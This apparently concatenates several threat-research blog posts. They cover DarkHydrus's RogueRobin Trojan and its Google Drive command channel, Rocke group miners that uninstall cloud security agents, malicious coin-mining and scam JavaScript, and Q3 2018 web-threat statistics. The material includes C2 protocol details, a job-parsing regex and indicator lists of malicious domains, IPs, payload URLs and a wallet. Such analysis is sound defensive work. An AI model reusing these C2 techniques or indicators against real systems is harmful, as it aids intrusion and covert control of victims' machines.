The Trojan will then obtain an OAUTH access token to the Google Drive in the same manner as before when obtaining the unique identifier. The Trojan uses the access token to write the string above to the first file uploaded to Google drive whose filename is <process ID of Trojan>.txt. After writing to this file, the Trojan will enter a loop to continually to check for changes to the modification time of this file, effectively waiting for the actor to make modifications to the file. When the actor modifies the file and changes the modification_time, the Trojan downloads the contents from the file by creating an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <file identifier in 'f_id'> + "?alt=media"

The Trojan processes the downloaded data within the file the same way it would to obtain a job from data received from the DNS tunneling channel using the TXT query mode, specifically by searching the data using the following regular expression:

([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)

The Trojan function splits the matching data, specifically the subdomain on a separator that is a character between r and v and uses the data before the separator to get the sequence number and a Boolean value (0 or 1) if more data is expected. It will use the data after the separator as the string that it will subject to the command handler seen in Table 5.

Infrastructure

The initial list of C2 domains released by 360TIC associated with 513813af15... appeared thematically very similar to previous DarkHydrus activity, using domain names visually similar to well-known technology vendors or service providers. This list was further expanded upon by ClearSky Security (here, here and here) in a series of tweets that provided additional similar domain names also likely linked to DarkHydrus. To better understand how these domains are related to DarkHydrus, we began visually mapping the relationships between the list of domains, which can be seen in Figure 7. The diagram shows the DarkHydrus group using a consistent naming schema and structure in their infrastructure. They register a multitude of domains and set up nameservers to use as their primary DNS for their C2 domains.

Figure 7 Relational diagram of DarkHydrus infrastructure

For this campaign, we are able to cluster the adversary infrastructure via the specific nameservers that were deployed for C2s. The brackets in Figure 7 shows the distinct clustering of infrastructure into three groups. We were able to retrieve live payloads associated with two of the clusters. A third cluster was also shared by ClearSky Security, but we were unable to associate a live payload to them. Although the third cluster does not appear to have any direct relationships to the other two clusters, it is still highly probable that this cluster is related to the two other clusters via the structuring of domains with custom nameservers. In addition, the domain names themselves were extremely similar, with some examples being exactly the same but on a different top level domain.

The two sets of nameservers we were able to associate with the retrieved payloads were tbs1/tbs2.microsoftonline.services and tvs1/tvs2.trafficmanager.live. The distribution of C2 domains and their nameservers can be seen in Table 7.

Sample(s) f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0

5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c
DNS tbs1/tbs2.microsoftonline.services
Domains 0ffice365[.]agency
0ffice365[.]life
0ffice365[.]services
0nedrive[.]agency
corewindows[.]agency
microsoftonline[.]agency
onedrive[.]agency
sharepoint[.]agency
skydrive[.]agency
skydrive[.]services
Sample eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97
DNS tvs1/tvs2.trafficmanager.live
Domains akamaiedge[.]live
  akamaized[.]live
  akdns[.]live
  edgekey[.]live

Table 7: Sample and Domain Associations

The third cluster of domains had six different nameservers associated with them, but unlike the other two clusters, were all directly tied to each other. Each of the domains appeared to have rotated through the six nameservers but oddly, one of the nameservers that several of the domains had rotated through did not appear to be currently registered. Examining historical IP resolutions revealed a common IP between the active nameservers, 107.175.75[.]123. This IP is of particular interest as historical domain resolutions of this IP revealed that it had resolved to the domain hotmai1l[.]com in the past as well, which was a domain we had previously identified as having a high likelihood of association with DarkHydrus infrastructure. This IP also belongs to the same service provider and class B network range as another IP we had associated with DarkHydrus, 107.175.150[.]113 which specifically resolved to a domain name containing a victim organization’s name.

Conclusion

The DarkHydrus group continues their operations and adds new techniques to their playbook. Recent DarkHydrus delivery documents revealed the group abusing open-source penetration testing techniques such as the AppLocker bypass. The payloads installed by these delivery documents show that the DarkHydrus actors ported their previous PowerShell-based RogueRobin code to an executable variant, which is behavior that has been commonly observed with other adversary groups operating in the Middle East, such as OilRig. Lastly, the new variant of RogueRobin is capable of using the Google Drive cloud service for its C2 channel, suggesting that DarkHydrus may be shifting to abusing legitimate cloud services for their infrastructure.

Palo Alto Networks customers are already be protected via:

  • All samples in this report have a malicious verdict in WildFire
  • Domains have been classified as malicious
  • AutoFocus tags are available for additional context: DarkHydrus and RogueRobin

Indicators of Compromise

Delivery Document SHA256

513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8

e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022

4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8

RogueRobin SHA256

eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97

f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0

5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c

RogueRobin C2s

akdns[.]live

akamaiedge[.]live

edgekey[.]live

akamaized[.]live

0ffice365[.]agency

0nedrive[.]agency

corewindows[.]agency

microsoftonline[.]agency

onedrive[.]agency

sharepoint[.]agency

skydrive[.]agency

0ffice365[.]life

0ffice365[.]services

skydrive[.]services

skydrive[.]agency

Nameservers

tvs1.trafficmanager[.]live

tvs2.trafficmanager[.]live

tbs1.microsoftonline[.]services

tbs2.microsoftonline[.]services

brit.ns.cloudfronts[.]services

dns.cloudfronts[.]services

ns2.akadns[.]services

britns.akadns[.]services

britns.akadns[.]live

ns2.akadns[.]live

Related Domains

iecvlist-microsoft[.]live

data-microsoft[.]services

asimov-win-microsoft[.]services

onecs-live[.]services

akamaiedge[.]services

phicdn[.]world

azureedge[.]today

nsatc[.]agency

Akamai[.]agency

t-msedge[.]world

Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products

Posted on by Xingyu Jin

Palo Alto Networks Unit 42 recently captured and investigated new samples of the Linux coin mining malware used by the Rocke group. The family was suspected to be developed by the Iron cybercrime group and it’s also associated with the Xbash malware we reported on in September of 2018. The threat actor Rocke was originally revealed by Talos in August of 2018 and many remarkable behaviors were disclosed in their blog post. The samples described in this report were collected in October of 2018, and since that time the command and control servers they use have been shut down.

During our analysis, we realized that these samples used by the Rocke group adopted new code to uninstall five different cloud security protection and monitoring products from compromised Linux servers. In our analysis, these attacks did not compromise these security products: rather, the attacks first gained full administrative control over the hosts and then abused that full administrative control to uninstall these products in the same way a legitimate administrator would.

These products were developed by Tencent Cloud and Alibaba Cloud (Aliyun), the two leading cloud providers in China that are expanding their business globally. To the best of our knowledge, this is the first malware family that developed the unique capability to target and remove cloud security products. This also highlights a new challenge for products in the Cloud Workload Protection Platforms market defined by Gartner.

Technical Details

The Coin Miner used by Rocke Group

The threat actor Rocke was first reported by Cisco Talos in late July 2018. The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines.

To deliver the malware to the victim machines, the Rocke group exploits vulnerabilities in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion. For example, by exploiting Oracle WebLogic vulnerability CVE-2017-10271 in Linux shown in Figure 1, a compromised Linux victim machine downloads backdoor 0720.bin and opens a shell.

Figure 1. Exploit CVE-2017-10271

Once the C2 connection is established, malware used by the Rocke group downloads shell script named as “a7” to the victim machine. The behaviors of a7 include:

  • Achieve persistence through cronjobs
  • Kill other crypto mining processes
  • Add iptables rules to block other crypto mining malware
  • Uninstall agent-based cloud security products
  • Download and run UPX packed coin miner from blog[.]sydwzl[.]cn
  • Hide process from Linux ps command by using the open source tool “libprocesshider” with LD_PRELOAD trick
  • Adjust malicious file date time

Cloud Workload Protection Platforms

According to Gartner, Cloud Workload Protection Platforms (CWPPs) are the agent-based workload-centric security protection solutions. To mitigate the impact of malware intrusion in public cloud infrastructure, cloud service providers develop their own CWPPs as the server security operation and management products.

For example, Tencent Cloud offers Tencent Host Security (HS, aka YunJing云镜) with various security protection services. According to its “Product Overview” document, Tencent Host Security provides key security features like trojan detection and removal based on machine learning, password cracking alert, logging activity audit, vulnerability management, and asset management as shown in Figure 2.

Figure 2. Tencent Host Security Key Features

Alibaba Cloud (Aliyun) also offers a cloud security product called Threat Detection Service (TDS, aka Aegis 安骑士). Alibaba Cloud Threat Detection Service provides security services like malware scanning and removal, vulnerability management, log analysis, and threat analysis based on big data.

Third-party cybersecurity companies also provide CWPPs. For instance, Trend Micro, Symantec, and Microsoft have their own cloud security products for public cloud infrastructure. As with all security products, adversaries inevitably work to evade these systems to be able to achieve their ultimate goals. 

Evading Detection from Cloud Workload Protection Platforms

In response to agent-based Cloud Workload Protection Platforms from cloud service providers, malware used by the Rocke group gradually developed the capability to evade detection before exhibiting any malicious behaviors. To be more specific, the malware uninstalls cloud security products by Alibaba Cloud and Tencent Cloud.

In the early version of the malware used by Rocke, it only attempts to kill Tencent Cloud Monitor process as shown in Figure 3.

Figure 3. Malware kills Tencent Cloud Monitor process

Realizing that killing the cloud monitor service alone is not enough to evade detection by agent-based cloud security products, the malware authors continued developing more effective methods to evade detection by killing more agent-based cloud security services.

The Tencent Cloud and Alibaba Cloud official websites provide documents to guide users about how to uninstall their cloud security products. The document for uninstalling Alibaba Threat Detection Service is shown in Figure 4.

Figure 4. Official guide for uninstalling Alibaba Threat Detection Service

The document for uninstalling Tencent Cloud Host Security is shown in Figure 5.

Figure 5. Official guide for uninstalling Tencent Cloud Host Security Product

The malware used by the Rocke group follows the uninstallation procedure provided by Alibaba Cloud and Tencent Cloud as well as some random blog posts on the Internet. The key uninstall function is shown in Figure 6.

Figure 6. Key function for malware to evade detection

This function can uninstall:

  1. Alibaba Threat Detection Service agent.
  2. Alibaba CloudMonitor agent (Monitor CPU & memory consumption, network connectivity).
  3. Alibaba Cloud Assistant agent (tool for automatically managing instances).
  4. Tencent Host Security agent.
  5. Tencent Cloud Monitor agent.

After agent-based cloud security and monitor products are uninstalled, the malware used by the Rocke group begins to exhibit malicious behaviors. We believe this unique evasion behavior will be the new trend for malware which targets public cloud infrastructure.

Mitigations

Palo Alto Networks Unit 42 has been cooperating with Tencent Cloud and Alibaba Cloud to address the malware evasion problem and its C2 infrastructure. Additionally, the malicious C2 domains are identified by our PAN-DB URL Filtering.

Conclusion

Public cloud infrastructure is one of the main targets for this cybercrime group. Realizing the existing cloud monitor and security products may detect the possible malware intrusion, malware authors continue to create new evasion technologies to avoid being detected by cloud security product.

The variant of the malware used by the Rocke group is an example that demonstrates that the agent-based cloud security solution may not be enough to prevent evasive malware targeted at public cloud infrastructure.

 

Indicators of Compromise

Samples with the evasion behavior

2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4

2f603054dda69c2ac1e49c916ea4a4b1ae6961ec3c01d65f16929d445a564355

28ea5d2e44538cd7fec11a28cce7c86fe208b2e8f53d57bf8a18957adb90c5ab

232c771f38da79d5b8f7c6c57ddb4f7a8d6d44f8bca41be4407ed4923096c700

893bdc6b7d2d7134b1ceb5445dbb97ad9c731a427490d59f6858a835525d8417

9300f1aa56a73887d05672bfb9862bd786230142c949732c208e5e019d14f83a

27611b92d31289d023d962d3eb7c6abd194dbdbbe4e6977c42d94883553841e8

d341e3a9133e534ca35d5ccc54b8a79f93ff0c917790e7d5f73fedaa480a6b93

ed038e9ea922af9f0bf5e8be42b394650fa808982d5d555e6c50c715ff2cca0c

4b74c4d66387c70658238ac5ab392e2fe5557f98fe09eadda9259ada0d87c0f1

e391963f496ba056e9a9f750cbd28ca7a08ac4cfc434bee4fc57a292b11941e6

017dee32e287f37a82cf6e249f8a85b5c9d4f090e5452118ccacaf147e88dc66

 

Domains for C2 Communication

dwn[.]rundll32[.]ml

www[.]aybc[.]so

a[.]ssvs[.]space

sydwzl[.]cn

 

IPs for C2 Communication

118.24.150[.]172 (on Tencent Cloud)

120.55.54[.]65 (on Alibaba Cloud)

 

URLs for Code Update

hxxps://pastebin[.]com/raw/CnPtQ2tM

hxxps://pastebin[.]com/raw/rjPGgXQE

hxxps://pastebin[.]com/raw/1NtRkBc3

hxxps://pastebin[.]com/raw/tRxfvbYN

hxxps://pastebin[.]com/raw/SSCy7mY7

hxxps://pastebin[.]com/raw/VVt27LeH

hxxps://pastebin[.]com/raw/Fj2YdETv

hxxps://pastebin[.]com/raw/JNPewK6r

hxxps://pastebin[.]com/raw/TzBeq3AM

hxxps://pastebin[.]com/raw/eRkrSQfE

hxxps://pastebin[.]com/raw/5bjpjvLP

hxxps://pastebin[.]com/raw/Gw7mywhC

XMR Wallet Address

42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7

 

Caught in the Act: From Intrusive Coin Miners to Scam Websites

Posted on by Oleksii Starov

At Palo Alto Networks, we use various methods to detect malicious web pages and malicious JavaScript on websites our customers visit online. In addition to static approaches such as signature matching, our security crawlers execute all scripts discovered on web pages and observe their dynamic behavior. Then, we apply special behavioral signatures based on different indicators, such as global variables declared during runtime, popup messages shown to the user, established WebSocket connections, and others. Using such signatures we are able to detect malicious campaigns even in obfuscated, packed, or randomized JavaScript, as final malicious behavior remains the same. In particular, this method proved efficient in discovering such modern threats as intrusive coin miners (previously described here) and numerous kinds of scam campaigns.

In November 2018, we detected 8,712 distinct URLs with intrusive coin miners, which our customers attempted to visit more than one million times from more than 30,000 devices. In addition to the most popular, Coinhive, only a few other libraries are noticeably present, such as JSE-Coin, Crypto-Loot, and CoinImp. Unlike dedicated malicious websites that serve no other legitimate purposes, coin mining scripts are sometimes injected voluntarily into popular video streaming sites, therefore their domains are significantly more long living and popular than sites hosting other types of malicious JavaScripts. However, with behavioral analysis we can separate unauthorized coin mining (which starts without user consent), and thus detect and denylist really intrusive cases.

In addition, we captured 4,633 additional distinct URLs that lead to scams, clickjacking, phishing, and other malicious JavaScripts that were frequently targeting our customers from around the globe. Two of the most observed scam campaigns were technical support scam and fake Flash update pages.

Trends in Malicious JavaScript

From October 19, 2018 to November 19, 2018, we applied behavioral analysis to URLs coming from Palo Alto Networks customers that were unknown to our URL filtering categories on a daily basis. We then crawled Alexa’s top one million URLs as well as a feed of recently registered domains. Overall, we detected 9,104 coin mining scripts (over 8,712 distinct URLs), and 4,788 other malicious JavaScripts (over 4,633 distinct URLs),  which were undetectable using static analysis.

Results for Coin Miners

On average, we were detecting 1,097 coin mining URLs per day, including 184 previously unseen malicious URLs. Figure 1 shows the daily detection rates in detail (note, this is not a cumulative plot as it shows independent results per each day). Despite minor periodic drops in number, the overall trend of newer detections remains stable over time. Also, we keep detecting the same coin miners from day to day, highlighting the fact that coin mining websites are longer living compared to other more indisputable kinds of malicious JavaScript, such as phishing or exploits.

Figure 1. Daily detection rate of coin mining URLs

Figure 2 illustrates the distribution of popular families of coin miners among 9,104 scripts detected during the mentioned month. As we can see, Coinhive is leading with 46.8%, followed by 12.6% of anonymous Stratum Protocol communications. While other coin mining libraries trail behind; such as JSE-Coin (10.9%), Crypto-Loot (10%), CoinImp (6.7%), Monerise (6.6%), and NeroHut (1.4%). Interestingly, more than ten other coin mining libraries, including CoinNebula, BatMine, DeepMiner, CryptoNoter, Minr and others, collectively contribute to only 5% of all the detected scripts. This is possibly an indication of a change in coin mining trends, as we were detecting more of those libraries previously. Moreover, during past month we did not observe several libraries that were detected up to three months ago, namely WebXMR, ProjectPoi, and Grindcash.

 

Figure 2. Top recently observed coin miners

6,026 out of the 8,712 URLs with coin miners, or 69.1%, perform “unauthorized” coin mining. In other words, they start mining immediately after visiting the page, without asking users for consent. The most popular choice among coin mining libraries to perform unauthorized mining were CoinImp (unauthorized in 100% cases over 612 scripts), Crypto-Loot (in 86% cases over 906 scripts), Coinhive (in 77.7% cases over 3,312 scripts), and other 1,143 scripts generating unidentified stratum traffic.

At the same time, we observe many coin mining campaigns deploy additional techniques to remain stealthy. These include tactics such as static obfuscation and packing of their code. For example, we encountered many variations of mining JavaScript libraries similar to the one below, served from custom servers and usually named unrecognizably or even pretending to be popular benign scripts, such as “jquery.min.js”.

In such cases, matching of static signatures and file hashes can be challenging as they are almost always unique, but when we execute these scripts, it is straightforward to detect the same known global variables created on the page, namely “CoinHive” and “miner”. Moreover, the process of coin mining can also be detected by analyzing the WebSocket traffic.

As a result, at least 1,414 out of 4,264 Coinhive scripts, or 33.2%, were detected only because we were using dynamic analysis with behavioral signatures. Other methods, such as hash matching of the abstract syntax tree, could not bypass the obfuscation.

It is worth mentioning that we detected many cases when the same web page rotates coin miners from visit to visit or hosts several different coin mining libraries at the same time. For examples, such pairs as Coinhive and JSE-Coin, or Crypto-Loot and NeroHut are common. Figure 3 illustrates a screenshot for one of such case, when both libraries start to mine immediately after visiting the page. Due to these occurrences, the overall number of detected mining scripts for one month (9,104) was greater than the overall number of unique URLs (8,712).

Figure 3. Example of a website with two active coin miners

Results for Scam JavaScript

As for other malicious JavaScripts (excluding coin miners), we were able to detect around 184 additional URLs per day, and around 143 new URLs. Figure 4 shows the daily detection rates. As shown, rates for the overall detected URLs and newly discovered URLs are much closer to each other than on Figure 1 for coin miners. This means that URLs hosting scam-related JavaScript are shorter lived and are less likely to be observed for many days in a row.

Figure 4. Daily detection rate of scam URLs

Outside of coin miner JavaScript attacks, we also discovered 4,788 non-mining malicious samples with the distribution seen in Figure 6. As we mentioned earlier, technical support scams and fake Flash update scams were the most popular malicious campaigns of November 2018 (examples of such malicious pages are shown on Figure 5). At the same time, other types of malicious scam campaigns include phishing kits, clickjacking kits, fake reward and other kinds of modern scams.

Figure 5. Screenshots of the most popular scam pages in November 2018

 

Figure 6. Top recently observed on-mining malicious JavaScripts

Particularly interesting is the case of technical support scam pages, which trick users into calling and paying scammers or installing unwanted programs. Analyzing these pages revealed evidence indicating they may all be associated with a single actor group. First, of the 1,989 found URLs that lead to technical support scams, at least 1,668 resulted in the same page with the same screenshot, such as the one shown on the left of Figure 6. These pages were showing JavaScript popups with the same alarming text:

Second, many recent landing pages of these URLs were hosted on domains that followed the same pattern according to the regex below (for example, “gaf9342[.]space” and “gba9462[.]site”).

In comparison, the Fake flash update pages were more adaptive to the victim, showing different pages in cases of Google Chrome vs. Internet Explorer, and MS Windows vs. Mac OS. In addition, fake Flash campaigns update their popup texts more frequently. For example, below is the most common text in fake Flash on-page alerts:

It is important to emphasize that exact text matches of such alerts would result in a limited number of detections, instead we train our models based on the most significant terms associated with scams. Therefore, we are prepared for different text randomization and obfuscation tricks that attackers may apply, such as double spaces between key words as with “Flash Player” above, injection of new lines, and messages in other languages.

Other types of malicious JavaScript, such as redirectors/injectors, droppers, and exploits were not as widely detected by behavior-based approaches in November (less than 1% according to Figure 6). Such threats includes simpler scripts such as redirectors, which usually just drop an iframe on the page, do not usually use global variables. Palo Alto Networks implements other techniques to detect such malicious scripts. For example, we analyze all sub-requests originating from the page during crawling, including requests from injected malicious iframes and scripts. As for exploit kits – we inspect OS-level behavior of the exploit kits within a high-interaction Windows/IE environment.

Malicious Domain Analysis

Overall, we discovered 8,712 coin mining URLs which resolve to 7,654 distinct domains. In addition to coin mining, we detected 4,633 URLs with other malicious scripts which resolve to 2,666 domains. We looked up both sets of domains in our passive DNS (pDNS) database, which gave us the ability to estimate both their life span and popularity. Figure 7 is a scatter plot showing how many days each domain was active and how many times it was resolved (or in other words, how popular is the domain).

Figure 7. Life span vs. popularity of malicious URLs

Based on Figure 7 we can infer that coin mining domains are significantly more popular and longer-living, whereas other malicious domains usually live less than 100 days and receive less than 10,000 DNS resolutions (lower cluster of blue dots). This is not surprising as scam and phishing campaigns eventually get discovered and blocked, and thus have to rotate their domains. Contrastingly, coin miners usually fall into a grey zone, being malicious enough that users want to block the mining, while not always being enough reason to permanently block a domain or shutdown a server. Even many reputable websites deliberately incorporate coin miners, forcing their visitors to agree with that in exchange for ‘free’ content access.

As we see on Figure 7, some  domains are extremely prevalent, receiving more than tens of millions DNS resolutions and living for more than 4 years. These examples include domains directly related to mining (such as, “coinhive[.]com” and “moonbit[.]co[.]in”), as well as various websites with high-demand content (such as, “xxgasm[.]com”, “seriesfree[.]to”, “rumorfix[.]com”, and “gooddrama[.]net”). Interestingly, on the scatter plot we also see domains with many DNS requests, but with a shorter life cycle. We suspect that those are cases when an illegitimate website is registered and becomes very popular. For example, “indoxxi[.]cool” offering online movies lived for only 14 days, but already has 63,694 resolutions in pDNS records.

Examples of non-mining malicious JavaScripts are usually hosted on specially-crafted domains, such as, “win32-0x2ndt-firewall-error[.]gq” (technical support scam), “www2[.]betterdealupgradeaflash[.]icu” (fake Flash update), or “paypal-verificationupdate[.]obay[.]me” (phishing). Or in general, on less popular websites. One may notice that on Figure 7 there are also rare cases of highly popular and long-living scam domains. For example, these are domains of URL shorteners (e.g., “ow[.]ly” and “smarturl[.]it”), domains serving ads and frequently used by scam campaigns (e.g., “blank[.]com” and “elitedollars[.]com”). Similarly, popular but illegitimate websites (e.g., “mytorrents[.]org” and “yourmovie[.]org”) also exist over longer period of time.

After analyzing Alexa rankings for TLD+1 domains (e.g. xyz.com instead of abc.xyz.com) of the detected coin mining domains, we were surprised to find that the majority of them, namely 66.9%, were in Alexa’s top million at least for one day during that month. Moreover, 1,295 coin mining domains remained in the top million, including 37 domains in the first 10,000. On one hand, these results suggest that when reputable websites begin to adopt mining, they are likely to drop out from the top popular websites. On the other hand, we are still alarmed by the high number of unauthorized coin miners among the Alexa’s top million websites. Figure 8 shows the distribution of 1,295 coin mining domains we detected across Alexa’s rank ranges, and we clearly see that unauthorized miners dominate even in the top 100,000.

In contrast, only 71 from non-mining malicious JavaScript domains were found in Alexa’s top million, including 7 in the top 10,000. One of the most popular examples for both mining and non-mining categories of malicious JavaScripts were websites hosted on “blogspot[.]com”, since each subdomain consists of a completely different website.

Figure 8. Rank distribution of coin mining domains in Alexa's Top Million

Table 1 lists the most popular TLDs, which serve coin miners and other malicious scripts. As we see, the [.]icu TLD was abused the most in November to distribute different kinds of scams. Regarding coin mining domains, most of them reside on the more reputable [.]com TLD, which matches our previous finding that miners are often times present on more popular and long living websites (such as blogs, video downloads, and torrents).

Coin miners Malicious JS
TLD # Domain TLD # Domain
com 3487 icu 1299
ir 394 com 409
net 337 club 290
ru 319 xyz 83
org 285 tk 61
br 206 cf 49
tk 111 net 32
info 108 ga 27
de 91 ml 23
in 91 online 22

Table 1. Top 10 TLDs Serving coin miners and malicious JavaScript

In order to understand the geography of malicious websites, we translated their IP addresses into locations. Figure 8 shows the country-level distribution of the IPs for coin miners, while Figure 9 illustrates the map for other malicious JavaScript. One may notice that coin mining websites cover more countries, though both maps show the majority of servers are located in US.

Figure 8. Country-level distribution of coin mining IPs

Figure 9. Country-level distribution of IPs serving non-mining Malicious JS

Customer Impact

During one month, our customers attempted to visit 6,804 coin mining URLs out of the 8,712 described above. Overall, we registered more than 1.1 million requests towards these websites from more than 30,000 devices. Similarly, our telemetry data reveals that 4,476 scam URLs (out of 4,633) were requested by our customers more than 243,000 times from 12,000 unique devices around the globe.

Such extensive impact on real web users puts malicious JavaScript campaigns as one of the most common threats on the modern web. Therefore, light-weight dynamic methods to detect obfuscated malicious code, which can be run on a large scale, are extremely important for proactive protection.

Conclusion

Behavioral analysis of JavaScript is important ammunition against modern threats, such as unauthorized coin miners and numerous scam campaigns. Such behavioral signatures as global variable, alert texts, and WebSocket messages, while helpful, are not the only dynamic information that helps in detecting malicious scripts. At Palo Alto Networks, we set ourselves to continue improving the detection methods of online threats and protecting our customers.

Intrusive coin miners continue to be one of the main threats on the Web, but only a few mining libraries are trending based on the past month. In addition to the most well-known Coinhive library, only JSE-Coin, Crypto-Loot and CoinImp are noticeably present. Coin mining domains are significantly longer living and more popular in comparison to scam campaigns, which makes accurately blocking them crucial for our customers’ protection. With behavioral analysis we can separate unauthorized coin mining, and detect not only the inclusion of mining libraries but also the mining process by itself.

Technical support scams and fake Flash update scams are the next most prevalent types of malicious JavaScript after coin miners. It is very important to discover and block these websites before any user visits them.

As of now, we continue to scan the web on a daily basis, enriching our database of malicious websites. As a result, Palo Alto Networks customers are protected from websites hosting malicious JavaScripts via PAN-DB URL Filtering and DNS signatures as part of the Threat Prevention subscription.

Indicators of Compromise

In the files below, we list all the URLs that lead to coin miners and scam JavaScript, which were released to PANDB based on the results described above (note, some of those URLs are malicious gateways that may lead to different landing pages).

coin_mining_urls

scam_js_urls

Web-based Threats-2018 Q3: Malicious URLs and Domains take a Dip

Posted on by Bo Qu

Executive Summary

Our Email Link Analysis (ELINK) system is routinely reviewed by our Unit 42 research team. In examining the data it collects, patterns and trends are discovered which helps us discern prevalent web threats. This blog is the third (3rd quarter of 2018) in a series of posts tracking web-based threats throughout the year, specifically statistics pertaining to malicious URLs, domains, exploit kits, and CVEs.

During Quarter 3 (Q3), July – September, a notable shift occurred with the malicious URL and domain data; there was a significant drop in the number of malicious URLs as well as a drop in malicious domains that will be discussed below. In addition, we will be covering an interesting malicious Flash SWF that exploits CVE-2015-5119.

URLs

Based on our analysis of data from Q3 of 2018, we’ve observed a reduction in malicious URLs. The total number dropped around 40% from Q2. As you can see below in Figure 1, Q1 had the highest number of malicious URLs thus far, coming in at 1583. The total for Q2 was much less with 1373 seen, making Q3, with 783 recorded malicious URLs, an overall sizable drop.

Figure 1. Malware URLs from Q1 to Q3 2018

These malicious URLs have also been broken down by countries. Out of the 783 URLs, the United States still dominates the top 5 list of hosting countries with 331 malicious URLs recorded as shown below in Figure 2. The top three are consistent in ranking with our Q2 analysis that can be seen here.

Figure 2. Top 5 malicious URL hosting countries from Q3 2018

Domains

Although not as drastic of a decline in numbers as malicious URLs, the number of malware hosting domains has also decreased from last quarter. From 464 malware hosting domains in Q2 to 310 in Q3 as seen in Figure 3 below.

Figure 3. Malware domains from Q1 to Q3 2018

 In monitoring the domain hosting data, a pattern has emerged. Since the beginning of the year, the same top 5 countries are present: United States, Russia, China, Hong Kong, and the Netherlands. These results may not seem surprising, especially the top 3, but it’s always interesting to see the movement of numbers throughout the quarters which are detailed in Figure 4 below.

 Figure 4. Malware domains in Q1 2018

Exploit Kits

Unlike Q2, we did not observe a major difference between the distribution of two major exploit kit families we are tracking, Grandsoft/Sundown/Rig and Kaixin. In Q2, we noticed a clear geographic distribution between the two families. Kaixin was heavily seen in China and Grandsoft/Sundown/Rig in the US. However, from the data in Q3, the boundary between the two exploit kits is ambiguous. In Q3 there is a shift, more Kaixin exploit kits are hosted in US.

  Figure 5. Kaixin EK distribution.

Figure 6. Grandsoft/Sundown/Rig EK distribution.

In addition to the two major exploit kit families, two samples of Terror EK and nine samples of Fallout EK were found in Q3.

Vulnerabilities

The recorded CVEs have not changed much since the beginning of 2018. The top 3 vulnerabilities in Q3 are the same as in Q2. Table 1 shows the rundown of the most common CVEs since Q1.

 

Q1 Top CVE Q1 top Trigger Q2 Top CVE Q2 top Trigger Q3 Top CVE Q3 top Trigger
1 CVE-2014-6332 774 CVE-2016-0189 472 CVE-2016-0189 225
2 CVE-2016-0189 219 CVE-2018-8174 291 CVE-2018-8174 139
3 CVE-2015-5122 85 CVE-2014-6332 67 CVE-2014-6332 50

Table 1. Most triggered CVE Q1 to Q3 2018

 Most of the currently exploited CVEs are not new. In fact, although they didn’t make the top 3 list, the exploitation of a decade old CVEs are still showing up in our data. Below is an overview of the CVEs that have been triggered in our ELINK system.

CVE-2008-1309: The RealAudioObjects.RealAudio ActiveX control in rmoc3260.dll in RealNetworks RealPlayer Enterprise, RealPlayer 10, RealPlayer 10.5 before build 6.0.12.1675, and RealPlayer 11 before 11.0.3 build 6.0.14.806 does not properly manage memory for the (1) Console or (2) Controls property, which allows remote attackers to execute arbitrary code or cause a denial of service (browser crash) via a series of assignments of long string values, which triggers an overwrite of freed heap memory.

CVE-2008-1472: Stack-based buffer overflow in the ListCtrl ActiveX Control (ListCtrl.ocx), as used in multiple CA products including BrightStor ARCserve Backup R11.5, Desktop Management Suite r11.1 through r11.2, and Unicenter products r11.1 through r11.2, allows remote attackers to execute arbitrary code or cause a denial of service (crash) via a long argument to the AddColumn method.

CVE-2008-4844: Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

CVE-2009-0075：Microsoft Internet Explorer 7 does not properly handle errors during attempted access to deleted objects, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to CFunctionPointer and the appending of document objects, aka "Uninitialized Memory Corruption Vulnerability."

CVE-2010-0806：Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka "Uninitialized Memory Corruption Vulnerability."

CVE-2010-3973: The WMITools ActiveX control in WBEMSingleView.ocx 1.50.1131.0 in Microsoft WMI Administrative Tools 1.1 and earlier in Microsoft Windows XP SP2 and SP3 allows remote attackers to execute arbitrary code via a crafted argument to the AddContextRef method, possibly an untrusted pointer dereference, aka "Microsoft WMITools ActiveX Control Vulnerability."

CVE-2012-1889：Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

CVE-2014-6332：OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka "Windows OLE Automation Array Remote Code Execution Vulnerability."

